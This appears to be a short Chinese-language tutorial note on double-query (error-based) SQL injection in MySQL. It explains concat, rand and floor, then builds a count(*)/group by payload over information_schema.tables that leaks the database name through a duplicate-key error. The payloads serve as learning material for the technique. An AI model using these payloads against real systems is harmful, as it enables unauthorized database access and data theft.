双查询注入
了解floor,rand语句
select concat('x','y');`可用于连接x,y得xy
字符记得加单引号或者双引号闭合
测试 `select rand()`多测试几次,可以看到,这个函数就是返回大于0,小于1之间的数。
select floor(小数)
取整(不会进行四舍五入)
联合两者 select floor(rand()*2);
我们从里向外看。rand() 返回大于0小于1的小数,*2为>0&&<2。然后对结果进行取整,这个查询的结果不是1,就是0。
加大难度(复合)
`select concat((select database()),floor(rand()*2));`结果不是数据名1就是数据库名2;
再其后面加from 表名
可得此表用户;
如果是from information_schema.schemata
可查询有几个数据库。
加上group by语句
可使用information_schema.tables或information_schema.columns两个表查询
`select concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a`,//对concat((select database()),floor(rand()*2))取名为a 并分组。
这里的database,可换成其它的查询
报错
多了一个聚合函数 count(*)
select count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;结果报错,重复得结果。
派生表
`select 1 from (table name);`这样的语句报错 具体就是:
`(select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a);`